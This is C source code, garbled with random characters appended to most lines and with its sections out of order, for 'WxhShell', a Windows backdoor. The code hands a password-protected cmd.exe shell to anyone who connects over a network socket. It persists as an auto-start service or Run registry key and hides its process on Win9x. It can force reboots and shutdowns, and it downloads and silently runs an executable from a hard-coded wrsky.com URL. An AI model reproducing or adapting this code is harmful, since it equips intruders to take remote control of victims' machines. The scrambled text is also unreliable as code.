    if(Boot(SHUTDOWN)) g:l5,j.K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,cbCt  
    else { F__j]}?  
    closesocket(wsh); @WV}VKm  
    ExitThread(0); 4,8=0[eRG  
    } ^ |k 7g  
    break; 1@&i ju5  
    } tevB2'3^  
  // 获取shell _vQtV]  
  case 's': { Xknp*(9  
    CmdShell(wsh); 1Na*7|  
    closesocket(wsh); -6URM`y'j  
    ExitThread(0); :^c ' P<HM  
    break; f^P:eBgpx  
  } C #A sA  
  // 退出 O F$0]V  
  case 'x': { y4%u< /  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (;f7/2~`  
    CloseIt(wsh); E8[{U8)[;5  
    break; ^BDM'  
    } cQ= "3M)~r  
  // 离开 f`zH#{u  
  case 'q': { [D8u.8q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q9-o$4#R[  
    closesocket(wsh); "pP5;*^f  
    WSACleanup(); ]}KoW?M  
    exit(1); ~FnB!Mh}?  
    break; C$9+p@G6  
        } 2~:jg1  
  } +(v<_#wR-  
  } Y<~N x~w{  
$$U Mc-Pq  
  // 提示信息 <78]OZ] Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t7A '  
}  U>0' K3_  
  } u/`jb2eEU:  
I) mP ?  
  return; ']nB_x7  
} hD~P)@^  
W/z\j/Rgc  
// shell模块句柄 ")J\} $r  
int CmdShell(SOCKET sock) x"hZOgFZ  
{ ya!RiHj  
STARTUPINFO si; 7@[3]c<=  
ZeroMemory(&si,sizeof(si)); .rfufx9Sw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ O1w 6\}_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4vri=P 2%  
PROCESS_INFORMATION ProcessInfo; z93HTy9  
char cmdline[]="cmd"; Mx ?{[zT"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B;SN}I  
  return 0; ;aZ$qgN*Y  
} f1c Q*#2~  
]ne&`uO  
// 自身启动模式 E)eRi"a46  
int StartFromService(void) =[wVRQ?  
{ =@#[@Ia  
typedef struct SU0K#:  
{ Kjbz\~  
  DWORD ExitStatus; uZsm=('ww  
  DWORD PebBaseAddress; !PN;XZ~{  
  DWORD AffinityMask; goYRA_%cX  
  DWORD BasePriority; 1WGcv O)<  
  ULONG UniqueProcessId; 2?3D` `  
  ULONG InheritedFromUniqueProcessId; #;Yn8'a~  
}   PROCESS_BASIC_INFORMATION; |ITSd%`3_  
N3P!<J/tc  
PROCNTQSIP NtQueryInformationProcess; %9z N U  
-4P2 2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wJ_E\vP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Fs^d-I  
P;%4Imq3  
  HANDLE             hProcess; ;p~&G"-C`  
  PROCESS_BASIC_INFORMATION pbi; <ex,@{n4  
%B^nQbNDM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Am~ NBQ7  
  if(NULL == hInst ) return 0; s>E u[ uA  
JpVV0x/Q/_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  3nfw:.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x`'2oz=,F4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9/$D&tRN  
0 S3~IeJ  
  if (!NtQueryInformationProcess) return 0; c5_?jKpl  
!"u) `I2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lk $S"OH!  
  if(!hProcess) return 0; ".&x`C  
Fs q=u-= :  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zx7*Bnu0  
V1R=`  
  CloseHandle(hProcess); 'jp nQcwxx  
n7~!klF-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *&X.  
if(hProcess==NULL) return 0; 'T54k  
5MJ`B: He+  
HMODULE hMod; 6x\+j  
char procName[255]; uHdrHP  
unsigned long cbNeeded; $KL5Z#K  
&wj;:f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #pJ^w>YNy  
XAuB.)|  
  CloseHandle(hProcess); ]Xcqf9k  
l 6wX18~XJ  
if(strstr(procName,"services")) return 1; // 以服务启动 t0Q/vp*/  
J-lQPMI,  
  return 0; // 注册表启动 6T 2jVNg  
} E?|"?R,,,  
8ID fYJ  
// 主模块 >So)KB  
int StartWxhshell(LPSTR lpCmdLine) LP bZ.  
{ 4VE7%.z+  
  SOCKET wsl; Yck(Fl  
BOOL val=TRUE; Qg+0(odd  
  int port=0; X#mm Z;P  
  struct sockaddr_in door; _H|c _  
ToIvyeFr  
  if(wscfg.ws_autoins) Install(); 8XwAKN:f  
q#B^yk|Y  
port=atoi(lpCmdLine); }J t( H  
)5P*O5kQ -  
if(port<=0) port=wscfg.ws_port; c8mcJAc  
Fz7(Kuc  
  WSADATA data; 0N.tPF}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SymSAq0$F  
X ^>o/U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UM%[UyYQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D3yG@lIP3  
  door.sin_family = AF_INET; ZjLzS]\a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @YmD 79  
  door.sin_port = htons(port); %7BVJJp2  
N m-{$U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j.4oYxK!s/  
closesocket(wsl); ?}%Gr,tj2  
return 1; W5?F?Dp!v  
} Ltpd:c  
l5S (x Q  
  if(listen(wsl,2) == INVALID_SOCKET) { s)<#a(!  
closesocket(wsl); `pY\Mmgv1  
return 1; ^a|$z$spf  
} l(9$s4R  
  Wxhshell(wsl); ''!pvxA  
  WSACleanup(); O!='U!X@P  
DHGv< F@  
return 0; hNUAwTH6  
i](,s.  
} yyh L]Uq"=  
+4ax~fuU  
// 以NT服务方式启动 j~V@0z.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CFqoD l  
{ LU4\&fd  
DWORD   status = 0; !cw<C*  
  DWORD   specificError = 0xfffffff; a>`\^>G4  
PRl\W:_t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ` =dD6r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2;%DE<Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VB*N;bM^  
  serviceStatus.dwWin32ExitCode     = 0; *=dFTd"#  
  serviceStatus.dwServiceSpecificExitCode = 0; {6)fZpd)@  
  serviceStatus.dwCheckPoint       = 0; FCQoz"M  
  serviceStatus.dwWaitHint       = 0; -h*Yd)  
l?(nkg["nY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FQB)rxP  
  if (hServiceStatusHandle==0) return; ( gO?-0  
%Rr!I:[ $  
status = GetLastError(); wKum{X8  
  if (status!=NO_ERROR) !`\W8JT+  
{ ]R}#3(]1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B Hn`e~  
    serviceStatus.dwCheckPoint       = 0; 0m)["g4  
    serviceStatus.dwWaitHint       = 0; u#%Ig3  
    serviceStatus.dwWin32ExitCode     = status; hSaS2RLF  
    serviceStatus.dwServiceSpecificExitCode = specificError; fOJk+? c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z=!$3E ecr  
    return; u1` 8f]qt  
  } w(r$n|Ks9  
Ql%7wrK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lf0/ 0KH  
  serviceStatus.dwCheckPoint       = 0; 66D<Up'K  
  serviceStatus.dwWaitHint       = 0; = Ii@-C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D/V. o}X$  
} "Na9Xea  
V|}9d:&O  
// 处理NT服务事件,比如:启动、停止 0ang~_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q6,rY(b6  
{ s6Bt)8A  
switch(fdwControl) /`\-.S9  
{ &[*_ -  
case SERVICE_CONTROL_STOP: b-]E -$Uz  
  serviceStatus.dwWin32ExitCode = 0; 2P$lXGjh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h\'GL(?DBI  
  serviceStatus.dwCheckPoint   = 0; (J.(Fl>^  
  serviceStatus.dwWaitHint     = 0; & /-@R|  
  { y;0.P?Il"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [2 2IF  
  } $2]1 3j  
  return; n8[sR;r5f  
case SERVICE_CONTROL_PAUSE: ;07!^#:L=Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }Bc'(2A;,  
  break; P)1@HDN==  
case SERVICE_CONTROL_CONTINUE: -/x +M-X#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bw%1*;n)  
  break; :1_hQeq  
case SERVICE_CONTROL_INTERROGATE: PC\Xm,,  
  break; [w=x0J&  
}; r{\cm Ds  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~(aq3ngo.  
} zmr=iK  
QIi*'21a+  
// 标准应用程序主函数 a:zx&DwM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Lom%eoH)  
{ rO]C`bg  
/lr RbZ  
// 获取操作系统版本 h4?+/jk7  
OsIsNt=GetOsVer(); 15yIPv+5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |]GEJUWtCd  
yqejd_cd  
  // 从命令行安装 .kC}. Q_  
  if(strpbrk(lpCmdLine,"iI")) Install(); wW%I < M  
7[D0n7B@  
  // 下载执行文件 E*(Q'p9C  
if(wscfg.ws_downexe) { S BFhC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y\+^\`Tqu  
  WinExec(wscfg.ws_filenam,SW_HIDE); _ <>+Dk&  
} cYbO)?mC_  
+D h=D*  
if(!OsIsNt) { JYSw!!eC  
// 如果时win9x,隐藏进程并且设置为注册表启动 5@0c@Q  
HideProc(); 6,@M0CX  
StartWxhshell(lpCmdLine); yLDHJ}R  
} ;euWpE;E\#  
else a@8knJ|  
  if(StartFromService()) ..~{cU4Tt  
  // 以服务方式启动 z?  {#/  
  StartServiceCtrlDispatcher(DispatchTable); qWanr7n]@  
else ?5(L.XFm  
  // 普通方式启动 Fn[~5/  
  StartWxhshell(lpCmdLine); qb"!  
QlXy9-oJ"  
return 0; Rp@u.C <  
} htF&VeIte  
CC)9Ks\  
I7uYsjh@u  
3/[=  
=========================================== VqbiZOZ@  
Q1jyetk~I  
{^\-%3$  
<!+o8z]  
@?1%*/  
|hdh4P$+|  
" J BwTmOvQ  
|SxEJ  
#include <stdio.h> }!d}febk_  
#include <string.h> v4v+;[a%  
#include <windows.h> ~'U;).C  
#include <winsock2.h> l,X;<&-[  
#include <winsvc.h> %bimcRX#W  
#include <urlmon.h> TtvS|09p;  
[-CG&l2?L  
#pragma comment (lib, "Ws2_32.lib") S :}s|![p  
#pragma comment (lib, "urlmon.lib") +p[~hM6?  
>u4e:/5]  
#define MAX_USER   100 // 最大客户端连接数 <G&v  
#define BUF_SOCK   200 // sock buffer QB.7n&u  
#define KEY_BUFF   255 // 输入 buffer -?]ltn9!  
yp4G"\hN9  
#define REBOOT     0   // 重启 O-B3@qQ. h  
#define SHUTDOWN   1   // 关机 5{5ABV  
FjydEV  
#define DEF_PORT   5000 // 监听端口 jG2w(h/"  
wiGwN  
#define REG_LEN     16   // 注册表键长度 OMZT\$9yT  
#define SVC_LEN     80   // NT服务名长度 &Ch)SD  
_kd |:,  
// 从dll定义API 4sAshrUf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); joA+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z`*cI   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J#kdyBmuO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gP<_DEd^`  
WAa?$"U2  
// wxhshell配置信息 yRznP)  
struct WSCFG { &8pXkD#A  
  int ws_port;         // 监听端口 br;G5^j3?  
  char ws_passstr[REG_LEN]; // 口令 J v#^GNm  
  int ws_autoins;       // 安装标记, 1=yes 0=no m=9 N^_  
  char ws_regname[REG_LEN]; // 注册表键名 Cm4 *sN.&)  
  char ws_svcname[REG_LEN]; // 服务名 g@2.A;N0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -b$OHFL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1FJ[_ l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2{CSH_"Z7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _E;Y ~I,i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Oe YLL4H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [FL I+;gY  
mig3.is  
}; (HI%C@e9  
q(7D8xG;F  
// default Wxhshell configuration a%!XLyq  
struct WSCFG wscfg={DEF_PORT, w#T,g9  
    "xuhuanlingzhe", RuZ;hnE&  
    1, [S:)UvB  
    "Wxhshell",  ?~.&Y  
    "Wxhshell", ~N9-an  
            "WxhShell Service", udFju&!W  
    "Wrsky Windows CmdShell Service", @>5<m'}2  
    "Please Input Your Password: ", >#?: x*[  
  1, md"%S-a_dT  
  "http://www.wrsky.com/wxhshell.exe", QNXxpoS#  
  "Wxhshell.exe" HIm, "iYk  
    }; v|@n8ED|@K  
^kvH/Y&  
// 消息定义模块 %KF:- w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N| Pm|w*?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3 \r@f_p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; df *#?Ok  
char *msg_ws_ext="\n\rExit."; Qiw4'xQm  
char *msg_ws_end="\n\rQuit."; i[{] LiP  
char *msg_ws_boot="\n\rReboot..."; 3|Sy'J0'K  
char *msg_ws_poff="\n\rShutdown..."; lM^!^6=v0l  
char *msg_ws_down="\n\rSave to "; b:Kw_Q  
1:zu$|%7  
char *msg_ws_err="\n\rErr!"; X'7S|J6s  
char *msg_ws_ok="\n\rOK!"; =zeLs0s;  
b0Ov+ )7#  
char ExeFile[MAX_PATH]; *g4Cy 8$  
int nUser = 0; \.P}`Bpa  
HANDLE handles[MAX_USER]; 'S7@+kJ  
int OsIsNt; 3C=clB9<  
Pmlgh&Z  
SERVICE_STATUS       serviceStatus; arS'th:j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gH^$Y~Lx  
?vn 0%e868  
// 函数声明 8='21@wrN  
int Install(void); ynZ[c8.  
int Uninstall(void); <ytKf<a%e  
int DownloadFile(char *sURL, SOCKET wsh); '0')6zW5s  
int Boot(int flag); ^[}0&_L w  
void HideProc(void); cJ##K/es  
int GetOsVer(void); 4Sstg57x~  
int Wxhshell(SOCKET wsl); Of7) A  
void TalkWithClient(void *cs); $dTfvd  
int CmdShell(SOCKET sock); %C`'>,t>  
int StartFromService(void); "Dl9<EZ  
int StartWxhshell(LPSTR lpCmdLine); E)Qh]:<2v  
Kwl qi]~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  n22hVw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R g0 XW6  
&O6;nJEI  
// 数据结构和表定义 9MB\z"b?A  
SERVICE_TABLE_ENTRY DispatchTable[] = ~"q,<t  
{ j&[.2PW\  
{wscfg.ws_svcname, NTServiceMain}, 5<O61Lgx  
{NULL, NULL} Md>f  
}; r($_>TS&"  
co^P7+j  
// 自我安装 Naf`hE9  
int Install(void) F7Dc!JNa  
{ h76NR  
  char svExeFile[MAX_PATH]; 9U7Mu;4  
  HKEY key; g/ l0}%  
  strcpy(svExeFile,ExeFile); O~#uQm  
yxCM l.  
// 如果是win9x系统,修改注册表设为自启动 "6E1W,|{  
if(!OsIsNt) { <RoX|zJw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { | 3N.5{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9uw,-0*5  
  RegCloseKey(key); X40la_[.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { * >GIk`!wM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +e0dV_T_>  
  RegCloseKey(key); T6R7,Vt'v  
  return 0; 5mna7 BCEb  
    } ]{AOh2Z.hv  
  } 6VH90KAT  
} !bZhj3.  
else { }_a +X  
+EST58  
// 如果是NT以上系统,安装为系统服务 R0Ax$Cv{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `R=a@DQ  
if (schSCManager!=0) iHE0N6%q  
{ 2vqmsl ?  
  SC_HANDLE schService = CreateService I~p8#<4#b  
  ( P Pwxk;  
  schSCManager, ;Cr_NP[8|j  
  wscfg.ws_svcname, fa!3/X+  
  wscfg.ws_svcdisp, f?=r3/AO  
  SERVICE_ALL_ACCESS, L4YVH2`0)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y )u_nn'[  
  SERVICE_AUTO_START, %_B:EMPd  
  SERVICE_ERROR_NORMAL, n_""M:XH  
  svExeFile, 1DEO3p  
  NULL, N?qIpv/a.  
  NULL, IWjR0  
  NULL, @9OeC O  
  NULL, fKL'/?LD]  
  NULL T&9`?QD  
  ); Cz'xGW{  
  if (schService!=0) TK; \_yN  
  { k~0#'I9  
  CloseServiceHandle(schService); %B#hb<7}  
  CloseServiceHandle(schSCManager); `t{D7I7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0zeUP {MQ  
  strcat(svExeFile,wscfg.ws_svcname); >Hdjsu5{N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -M"IVyy@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7*zB*"B'1t  
  RegCloseKey(key); xK$}QZ)  
  return 0; HA$Y1}  
    } oJP< 'l1  
  } \Os:6U=X-  
  CloseServiceHandle(schSCManager); ^F>4~68d  
} $Llta,ULE  
} jmkRP"ZnA  
Cf Qf7-  
return 1; *Y8XP8u/  
} t Y{; U#9  
OZG0AX+=#  
// 自我卸载 ?sV[MsOsC  
int Uninstall(void) .j:i&j(  
{ Af`z/:0<  
  HKEY key; D^|jZOJ  
GA.BI"l  
if(!OsIsNt) { LRWOBD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8|w-XR  
  RegDeleteValue(key,wscfg.ws_regname); <#>Oy&E  
  RegCloseKey(key); uii7b 7[w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z,3 CC \  
  RegDeleteValue(key,wscfg.ws_regname); WS5A Y @(~  
  RegCloseKey(key); e{5,'(1]  
  return 0; qc3~cH.@  
  } p:B ]Ft  
} m)r]F#@/  
} LaDY`u0G%  
else { T0r<O_ubOA  
CQ<8P86gt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [KMS<4t'  
if (schSCManager!=0) [6_"^jgH  
{ jA,|JgN|n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3)y{n%3L  
  if (schService!=0) IK3qE!,&U  
  { )`<6taKx@n  
  if(DeleteService(schService)!=0) { g&bwtEZ  
  CloseServiceHandle(schService); 57U%`  
  CloseServiceHandle(schSCManager); m*gj|1k  
  return 0; Q? qjWZY  
  } y<|)'(  
  CloseServiceHandle(schService); dsK/6yu  
  } U,HIB^= R  
  CloseServiceHandle(schSCManager); WKxm9y V  
} Ih()/(  
} WV2~(/hX&  
[%jxf\9jJ_  
return 1; uWTN 2jr  
} E3f9<hm   
*qG$19b  
// 从指定url下载文件 qC..\{z  
int DownloadFile(char *sURL, SOCKET wsh) ~5ubh2{  
{ |YRY!V_w  
  HRESULT hr; Z:|9N/>T  
char seps[]= "/"; /1[gn8V691  
char *token; %9X{{_  
char *file; XIRR Al(,  
char myURL[MAX_PATH]; 7b46t2W<  
char myFILE[MAX_PATH]; U. (Tl>K|0  
5q Rc4d'  
strcpy(myURL,sURL); <BPRV> 0X  
  token=strtok(myURL,seps); qOi5WX6F/  
  while(token!=NULL) &n|*uLn  
  { TP{Gt.e  
    file=token; (Xo SG  
  token=strtok(NULL,seps); {i>Jfl]G}  
  } IA2GUnUhu  
^df x~C  
GetCurrentDirectory(MAX_PATH,myFILE); D%U:!|G  
strcat(myFILE, "\\");  U(~U!O}  
strcat(myFILE, file); .T$D^?G!D  
  send(wsh,myFILE,strlen(myFILE),0); hiwIWd:H  
send(wsh,"...",3,0); q{E"pyt36R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Mlj#b8  
  if(hr==S_OK) 8*s7m   
return 0; @rwU 1T33  
else 6/6Rah!  
return 1; ,H39V+Y*  
8%ik853`  
} .45^=2NGmQ  
J>%t<xYf4  
// 系统电源模块 @Tr&`Hi  
int Boot(int flag) etyCrQ ?U  
{ iCrxV{   
  HANDLE hToken; FZXyfZw!|  
  TOKEN_PRIVILEGES tkp; :<GfETIs  
3wC R|ab}  
  if(OsIsNt) { \zu }\{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z^# ]#f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .X'< D*  
    tkp.PrivilegeCount = 1; ,w2WS\`%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h/<=u9J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tg85:  
if(flag==REBOOT) { (Z-l/)Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xU}M;4kH~  
  return 0; YH\j@ ^n  
} 3.vgukkk5  
else { vZkXt!%)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MEq"}zrh  
  return 0; -(IC~   
} T2weAk#J  
  } hz\WZ^  
  else { maC>LBa2/  
if(flag==REBOOT) { \c7>:DH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *)>do L  
  return 0; kus}W  J  
} 2dbRE:v5  
else { ^$Krub{|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z]vL%Gg*!  
  return 0; ]sj0~DI*m  
} 1R*=.i%W  
} AhxGj+  
BQjGv?p0s  
return 1; ;7rv  
} 5~r2sCDPk  
YaL]>.;Z:"  
// win9x进程隐藏模块 - k`.j  
void HideProc(void) iiNSDc  
{ v0@)t&O  
U7H9/<&o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *YvRNHP  
  if ( hKernel != NULL ) 'fY9a(Xt.  
  { q;A;H)?g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Mqv[XHfB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SUE ~rb  
    FreeLibrary(hKernel);  >eS$  
  } /1fwl5\  
pbn\9C/  
return; QUOKThY?  
} IOEM[zhb$  
~V+l_ :  
// 获取操作系统版本 h-mTj3p-K  
int GetOsVer(void) 3&*'6D Tg  
{ PW)aLycPK  
  OSVERSIONINFO winfo; $sgH'/>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J(iV0LAZb  
  GetVersionEx(&winfo); K ,isjh2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I>"Ci(N  
  return 1; ;pZ[|  
  else $f-hUOuyo  
  return 0; ) Yj%#  
} -[]';f4]M  
V#^yX%  
// 客户端句柄模块 Yx%bn?%;&  
int Wxhshell(SOCKET wsl) 'uC59X4l  
{ YQVcECj  
  SOCKET wsh; (:sZ b?*  
  struct sockaddr_in client; >D _F!_  
  DWORD myID; tZ8e`r*  
'%7 Bxof  
  while(nUser<MAX_USER) !%S4 n  
{ J8Z0D:5  
  int nSize=sizeof(client); #`ejU&!6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VKuAO$s$  
  if(wsh==INVALID_SOCKET) return 1; @Icq1zb] y  
ISNcswN#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a5?8QAO~r  
if(handles[nUser]==0) ,XB%\[pKe  
  closesocket(wsh); Eipp ~GD  
else ?R'Y?b  
  nUser++; 9&  
  } \}dyS8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f j<H6|3  
6 /Y1 wu  
  return 0; I/uy>*  
} GP,<`l&  
x;#zs64f  
// 关闭 socket G0d&@okbFC  
void CloseIt(SOCKET wsh) 9- )qZ  
{ HW6.O|3  
closesocket(wsh); <hvRP!~<)  
nUser--; wk $,k  
ExitThread(0); +%#8k9Y  
} ?I W_O~Js  
82:Wvp6  
// 客户端请求句柄 #kcSQ'  
void TalkWithClient(void *cs) aMwB>bt  
{ Y A&`&$  
= r4!V>  
  SOCKET wsh=(SOCKET)cs; S~yR5cb  
  char pwd[SVC_LEN]; w{,4rk;Hr  
  char cmd[KEY_BUFF]; 7$uJ7`e  
char chr[1]; ")UwkF  
int i,j; _8fA?q=  
HuI`#.MpWE  
  while (nUser < MAX_USER) { 1wn&js C  
6|;Uq'  
if(wscfg.ws_passstr) { 07_oP(;jT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d8x%SQ!V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J"CJYuGW,  
  //ZeroMemory(pwd,KEY_BUFF); jai|/"HSXw  
      i=0; u$*>`Xe6  
  while(i<SVC_LEN) { R: Z_g !h  
B6M+mx"G  
  // 设置超时 SN Y (*  
  fd_set FdRead; gK1g]Tc@G  
  struct timeval TimeOut; dt,3"J  
  FD_ZERO(&FdRead); P~ 0Jg# V  
  FD_SET(wsh,&FdRead); eph)=F$  
  TimeOut.tv_sec=8; Akk 3 Qx  
  TimeOut.tv_usec=0; 93Yn`Av;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {|<"C?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ${r[!0|   
,T5u'";  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~}ovuf=%  
  pwd=chr[0]; Dd $qQ  
  if(chr[0]==0xd || chr[0]==0xa) { `'4)q}bB  
  pwd=0; v}(6 <wnnS  
  break; X_TiqV  
  } 4 J^Q]-Z  
  i++; pV\YG B+  
    } 1,t)3;o$  
> s EjR!  
  // 如果是非法用户,关闭 socket #/-_1H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K 1#ji*Tp  
} b{Zpux+  
l* dV\ B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $95~5]-nh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D]03eu  
@w9{5D4  
while(1) { xTV{^=\rS  
_t>"5s&i  
  ZeroMemory(cmd,KEY_BUFF); #%,RJMv  
R)8s  
      // 自动支持客户端 telnet标准   dJuD|9R  
  j=0; uGH?N  
  while(j<KEY_BUFF) { !u|Tu4G^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ` }gbc69  
  cmd[j]=chr[0]; 1T|$BK@)  
  if(chr[0]==0xa || chr[0]==0xd) { Qd`T5[b\  
  cmd[j]=0; <^R{U&Z@  
  break; q0xjA  
  } :QQlI  
  j++; '?5j[:QY@  
    } ODw`E9  
;O#g"8  
  // 下载文件 *|:Q%xr-  
  if(strstr(cmd,"http://")) { F iAY\4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @_ygnNn4R  
  if(DownloadFile(cmd,wsh)) k[|~NLB8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W[''Cc.  
  else B|Wk?w.{r\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m\u26`M  
  } D)b}f`  
